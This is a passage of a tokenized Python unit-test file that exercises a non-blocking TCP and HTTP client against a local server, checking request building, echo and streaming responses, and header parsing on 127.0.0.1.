"beta_", "._", "reo", "pen_", "(_", ")_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "accepted_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "connected_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "cutoff_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "console_", "._", "ters", "e_", "(_", "\"", "Connect", "ing", " ", "beta", " ", "to", " ", "server", " ", "...", "\\\\", "n", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "True_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "beta_", "._", "service", "Connect_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "alpha_", "._", "service", "Connect", "s_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "beta_", "._", "connected_", "and_", "beta_", "._", "ca_", "in_", "alpha_", "._", "ix", "es_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "break_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "time_", "._", "sleep_", "(_", "0.05_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "accepted_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "connected_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "cutoff_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "beta_", "._", "ca_", ",_", "beta_", "._", "cs_", "._", "getsockname", "_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "beta_", "._", "ha_", ",_", "beta_", "._", "cs_", "._", "getp", "eer", "name_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "alpha_", "._", "eh", "a_", ",_", "beta_", "._", "ha_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "ix", "Beta", "_", "=_", "alpha_", "._", "ix", "es_", "[_", "beta_", "._", "ca_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is", "Not", "None_", "(_", "ix", "Beta", "_", "._", "ca_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is", "Not", "None_", "(_", "ix", "Beta", "_", "._", "cs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "ix", "Beta", "_", "._", "cs_", "._", "getsockname", "_", "(_", ")_", ",_", "beta_", "._", "cs_", "._", "getp", "eer", "name_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "ix", "Beta", "_", "._", "cs_", "._", "getp", "eer", "name_", "(_", ")_", ",_", "beta_", "._", "cs_", "._", "getsockname", "_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "ix", "Beta", "_", "._", "ca_", ",_", "beta_", "._", "ca_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "ix", "Beta", "_", "._", "ha_", ",_", "beta_", "._", "ha_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "console_", "._", "ters", "e_", "(_", "\"{", "0", "}\\\\", "n", "\"_", "._", "format_", "(_", "\"", "Building", " ", "Request", " ", "...", "\\\\", "n", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "host_", "=_", "u", "'", "127", ".0", ".0", ".1", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "port_", "=_", "610", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "method_", "=_", "u", "'", "GET", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "path_", "=_", "u", "'/", "echo", "?", "name", "=", "fam", "e", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "console_", "._", "ters", "e_", "(_", "\"{", "0", "}", " ", "from", " ", " ", "{", "1", "}:", "{", "2", "}{", "3", "}", " ", "...", "\\\\", "n", "\"_", "._", "format_", "(_", "method_", ",_", "host_", ",_", "port_", ",_", "path_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "headers_", "=_", "odict_", "(_", "[_", "(_", "u", "'", "Accept", "'_", ",_", "u", "'", "applica", "tion", "/", "json", "'_", ")_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "request_", "=_", "client", "ing_", "._", "Requeste", "r_", "(_", "hostname_", "=_", "host_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "port_", "=_", "port_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "method_", "=_", "method_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "path_", "=_", "path_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "headers_", "=_", "headers_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "msg", "Out_", "=_", "request_", "._", "build_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "lines_", "=_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "GET", " ", "/", "echo", "?", "name", "=", "fam", "e", " ", "HTTP", "/", "1.1", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "Host", ":", " ", "127", ".0", ".0", ".1", ":", "610", "1", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "Accept", "-", "Enco", "ding", ":", " ", "identi", "ty", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "Accept", ":", " ", "applica", "tion", "/", "json", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "''_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "''_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "i_", ",_", "line_", "in_", "enumerate_", "(_", "lines_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "Equal_", "(_", "line_", ",_", "request_", "._", "lines_", "[_", "i_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "request_", "._", "head_", ",_", "b", "'", "GET", " ", "/", "echo", "?", "name", "=", "fam", "e", " ", "HTTP", "/", "1.1", "\\\\", "r", "\\\\", "n", "Host", ":", " ", "127", ".0", ".0", ".1", ":", "610", "1", "\\\\", "r", "\\\\", "n", "Accept", "-", "Enco", "ding", ":", " ", "identi", "ty", "\\\\", "r", "\\\\", "n", "Accept", ":", " ", "applica", "tion", "/", "json", "\\\\", "r", "\\\\", "n", "\\\\", "r", "\\\\", "n", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "msg", "Out_", ",_", "b", "'", "GET", " ", "/", "echo", "?", "name", "=", "fam", "e", " ", "HTTP", "/", "1.1", "\\\\", "r", "\\\\", "n", "Host", ":", " ", "127", ".0", ".0", ".1", ":", "610", "1", "\\\\", "r", "\\\\", "n", "Accept", "-", "Enco", "ding", ":", " ", "identi", "ty", "\\\\", "r", "\\\\", "n", "Accept", ":", " ", "applica", "tion", "/", "json", "\\\\", "r", "\\\\", "n", "\\\\", "r", "\\\\", "n", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "console_", "._", "ters", "e_", "(_", "\"", "Beta", " ", "request", "s", " ", "to", " ", "Al", "pha", "\\\\", "n", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "beta_", "._", "tx_", "(_", "msg", "Out_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "beta_", "._", "tx", "es_", "and_", "not_", "ix", "Beta", "_", "._", "rx", "bs_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "beta_", "._", "service", "Tx", "es_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "time_", "._", "sleep_", "(_", "0.05_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "alpha_", "._", "service", "Receive", "s", "All", "Ix", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "time_", "._", "sleep_", "(_", "0.05_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "msg", "In_", "=_", "bytes_", "(_", "ix", "Beta", "_", "._", "rx", "bs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "msg", "In_", ",_", "msg", "Out_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ix", "Beta", "_", "._", "clear", "Rx", "bs_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "console_", "._", "ters", "e_", "(_", "\"", "Al", "pha", " ", "respond", "s", " ", "to", " ", "Beta", "\\\\", "n", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "msg", "Out_", "=_", "b", "'", "HTTP", "/", "1.1", " ", "200", " ", "OK", "\\\\", "r", "\\\\", "n", "Conten", "t", "-", "Length", ":", " ", "122", "\\\\", "r", "\\\\", "n", "Conten", "t", "-", "Type", ":", " ", "applica", "tion", "/", "json", "\\\\", "r", "\\\\", "n", "Date", ":", " ", "Thu", ",", " ", "30", " ", "Ap", "r", " ", "201", "5", " ", "1", "9", ":", "3", "7", ":", "1", "7", " ", "GM", "T", "\\\\", "r", "\\\\", "n", "Server", ":", " ", "Io", "Boo", "k", ".", "local", "\\\\", "r", "\\\\", "n", "\\\\", "r", "\\\\", "n", "{", "\"", "content", "\":", " ", "null", ",", " ", "\"", "query", "\":", " ", "{", "\"", "name", "\":", " ", "\"", "fam", "e", "\"},", " ", "\"", "verb", "\":", " ", "\"", "GET", "\",", " ", "\"", "url", "\":", " ", "\"", "http", "://", "127", ".0", ".0", ".1", ":", "808", "0", "/", "echo", "?", "name", "=", "fam", "e", "\",", " ", "\"", "action", "\":", " ", "null", "}'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ix", "Beta", "_", "._", "tx_", "(_", "msg", "Out_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "ix", "Beta", "_", "._", "tx", "es_", "or_", "not_", "beta_", "._", "rx", "bs_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "alpha_", "._", "service", "Tx", "es", "All", "Ix", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "time_", "._", "sleep_", "(_", "0.05_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "beta_", "._", "service", "Receive", "s_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "time_", "._", "sleep_", "(_", "0.05_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "msg", "In_", "=_", "bytes_", "(_", "beta_", "._", "rx", "bs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "msg", "In_", ",_", "msg", "Out_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "console_", "._", "ters", "e_", "(_", "\"", "Beta", " ", "process", "es", " ", "response", " ", "\\\\", "n", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "response_", "=_", "client", "ing_", "._", "Responde", "nt_", "(_", "msg_", "=_", "beta_", "._", "rx", "bs_", ",_", "method_", "=_", "method_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "response_", "._", "parser_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "response_", "._", "parse_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "response_", "._", "dict", "ify_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "self", ".", "assert", "Equal", "(", "bytes", "(", "response", ".", "body", "),", " ", "b", "'{", "\"", "content", "\":", " ", "null", ",", " ", "\"", "query", "\":", " ", "{", "\"", "name", "\":", " ", "\"", "fam", "e", "\"},", " ", "\"", "verb", "\":", " ", "\"", "GET", "\",", " ", "\"", "url", "\":", " ", "\"", "http", "://", "127", ".0", ".0", ".1", ":", "808", "0", "/", "echo", "?", "name", "=", "fam", "e", "\",", " ", "\"", "action", "\":", " ", "null", "}')", "_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "bytes_", "(_", "response_", "._", "body_", ")_", ",_", "b", "''_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "response_", "._", "data_", ",_", "{_", "'", "action", "'_", ":_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "content", "'_", ":_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "query", "'_", ":_", "{_", "'", "name", "'_", ":_", "'", "fam", "e", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "url", "'_", ":_", "'", "http", "://", "127", ".0", ".0", ".1", ":", "808", "0", "/", "echo", "?", "name", "=", "fam", "e", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "verb", "'_", ":_", "'", "GET", "'_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "len_", "(_", "beta_", "._", "rx", "bs_", ")_", ",_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "response_", "._", "headers_", "._", "items_", "(_", ")_", ",_", "[_", "(_", "'", "content", "-", "length", "'_", ",_", "'", "122", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "content", "-", "type", "'_", ",_", "'", "applica", "tion", "/", "json", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "date", "'_", ",_", "'", "Thu", ",", " ", "30", " ", "Ap", "r", " ", "201", "5", " ", "1", "9", ":", "3", "7", ":", "1", "7", " ", "GM", "T", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "server", "'_", ",_", "'", "Io", "Boo", "k", ".", "local", "'_", ")_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "alpha_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "beta_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "wire", "Log", "Alpha_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "wire", "Log", "Beta", "_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Basic", "Test", "Case_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test", "Non", "Block", "ing", "Request", "Stream_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Test", " ", "Non", "Block", "ing", " ", "Http", " ", "client", " ", "with", " ", "SSE", " ", "stream", "ing", " ", "server", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "console_", "._", "ters", "e_", "(_", "\"{", "0", "}\\\\", "n", "\"_", "._", "format_", "(_", "self_", "._", "test", "Non", "Block", "ing", "Request", "Stream_", "._", "\\u\\u", "doc\\u\\u_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "wire", "Log", "Alpha_", "=_", "wir", "ing_", "._", "Wire", "Log_", "(_", "buff", "ify_", "=_", "True_", ",_", "same_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "result_", "=_", "wire", "Log", "Alpha_", "._", "reo", "pen_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "wire", "Log", "Beta", "_", "=_", "wir", "ing_", "._", "Wire", "Log_", "(_", "buff", "ify_", "=_", "True_", ",_", "same_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "result_", "=_", "wire", "Log", "Beta", "_", "._", "reo", "pen_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "alpha_", "=_", "tcp_", "._", "Server_", "(_", "port_", "=_", "610", "1_", ",_", "bufsize_", "=_", "1310", "72_", ",_", "wl", "og_", "=_", "wire", "Log", "Alpha_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "alpha_", "._", "reo", "pen_", "(_", ")_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "alpha_", "._", "ha_", ",_", "(_", "'", "0.", "0.", "0.", "0", "'_", ",_", "610", "1_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "alpha_", "._", "eh", "a_", ",_", "(_", "'", "127", ".0", ".0", ".1", "'_", ",_", "610", "1_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "beta_", "=_", "tcp_", "._", "Client_", "(_", "ha_", "=_", "alpha_", "._", "eh", "a_", ",_", "bufsize_", "=_", "1310", "72_", ",_", "wl", "og_", "=_", "wire", "Log", "Beta", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "reo", "pen_", "(_", ")_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "accepted_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "connected_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "cutoff_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "console_", "._", "ters", "e_", "(_", "\"", "Connect", "ing", " ", "beta", " ", "to", " ", "server", " ", "...", "\\\\", "n", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "True_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "beta_", "._", "service", "Connect_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "alpha_", "._", "service", "Connect", "s_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "beta_", "._", "connected_", "and_", "beta_", "._", "ca_", "in_", "alpha_", "._", "ix", "es_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "break_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "time_", "._", "sleep_", "(_", "0.05_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "accepted_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "connected_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "cutoff_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "beta_", "._", "ca_", ",_", "beta_", "._", "cs_", "._", "getsockname", "_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "beta_", "._", "ha_", ",_", "beta_", "._", "cs_", "._", "getp", "eer", "name_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "alpha_", "._", "eh", "a_", ",_", "beta_", "._", "ha_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "ix", "Beta", "_", "=_", "alpha_", "._", "ix", "es_", "[_", "beta_", "._", "ca_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is", "Not", "None_", "(_", "ix", "Beta", "_", "._", "ca_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is", "Not", "None_", "(_", "ix", "Beta", "_", "._", "cs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "ix", "Beta", "_", "._", "cs_", "._", "getsockname", "_", "(_", ")_", ",_", "beta_", "._", "cs_", "._", "getp", "eer", "name_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "ix", "Beta", "_", "._", "cs_", "._", "getp", "eer", "name_", "(_", ")_", ",_", "beta_", "._", "cs_", "._", "getsockname", "_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "ix", "Beta", "_", "._", "ca_", ",_", "beta_", "._", "ca_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "ix", "Beta", "_", "._", "ha_", ",_", "beta_", "._", "ha_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "console_", "._", "ters", "e_", "(_", "\"{", "0", "}\\\\", "n", "\"_", "._", "format_", "(_", "\"", "Building", " ", "Request", " ", "...", "\\\\", "n", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "host_", "=_", "u", "'", "127", ".0", ".0", ".1", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "port_", "=_", "606", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "method_", "=_", "u", "'", "GET", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "path_", "=_", "u", "'/", "stream", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "console_", "._", "ters", "e_", "(_", "\"{", "0", "}", " ", "from", " ", " ", "{", "1", "}:", "{", "2", "}{", "3", "}", " ", "...", "\\\\", "n", "\"_", "._", "format_", "(_", "method_", ",_", "host_", ",_", "port_", ",_", "path_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "headers_", "=_", "odict_", "(_", "[_", "(_", "u", "'", "Accept", "'_", ",_", "u", "'", "applica", "tion", "/", "json", "'_", ")_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "request_", "=_", "client", "ing_", "._", "Requeste", "r_", "(_", "hostname_", "=_", "host_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "port_", "=_", "port_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "method_", "=_", "method_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "path_", "=_", "path_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "headers_", "=_", "headers_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "msg", "Out_", "=_", "request_", "._", "build_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "lines_", "=_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "GET", " ", "/", "stream", " ", "HTTP", "/", "1.1", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "Host", ":", " ", "127", ".0", ".0", ".1", ":", "606", "1", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "Accept", "-", "Enco", "ding", ":", " ", "identi", "ty", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "Accept", ":", " ", "applica", "tion", "/", "json", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "''_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "''_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "i_", ",_", "line_", "in_", "enumerate_", "(_", "lines_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "Equal_", "(_", "line_", ",_", "request_", "._", "lines_", "[_", "i_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "request_", "._", "head_", ",_", "b", "'", "GET", " ", "/", "stream", " ", "HTTP", "/", "1.1", "\\\\", "r", "\\\\", "n", "Host", ":", " ", "127", ".0", ".0", ".1", ":", "606", "1", "\\\\", "r", "\\\\", "n", "Accept", "-", "Enco", "ding", ":", " ", "identi", "ty", "\\\\", "r", "\\\\", "n", "Accept", ":", " ", "applica", "tion", "/", "json", "\\\\", "r", "\\\\", "n", "\\\\", "r", "\\\\", "n", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "msg", "Out_", ",_", "request_", "._", "head_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "console_", "._", "ters", "e_", "(_", "\"", "Beta", " ", "request", "s", " ", "to", " ", "Al", "pha", "\\\\", "n", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "beta_", "._", "tx_", "(_", "msg", "Out_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "beta_", "._", "tx", "es_", "and_", "not_", "ix", "Beta", "_", "._", "rx", "bs_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "beta_", "._", "service", "Tx", "es_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "time_", "._", "sleep_", "(_", "0.05_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "alpha_", "._", "service", "Receive", "s", "All", "Ix", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "time_", "._", "sleep_", "(_", "0.05_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "msg", "In_", "=_", "bytes_", "(_", "ix", "Beta", "_", "._", "rx", "bs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "msg", "In_", ",_", "msg", "Out_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ix", "Beta", "_", "._", "clear", "Rx", "bs_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "console_", "._", "ters", "e_", "(_", "\"", "Al", "pha", " ", "respond", "s", " ", "to", " ", "Beta", "\\\\", "n", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "lines_", "=_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "HTTP", "/", "1.0", " ", "200", " ", "OK", "\\\\", "r", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "Server", ":", " ", "Past", "e", "WS", "GI", "Server", "/", "0.", "5", " ", "Pyth", "on", "/", "2.7", ".9", "\\\\", "r", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "Date", ":", " ", "Thu", ",", " ", "30", " ", "Ap", "r", " ", "201", "5", " ", "21", ":", "3", 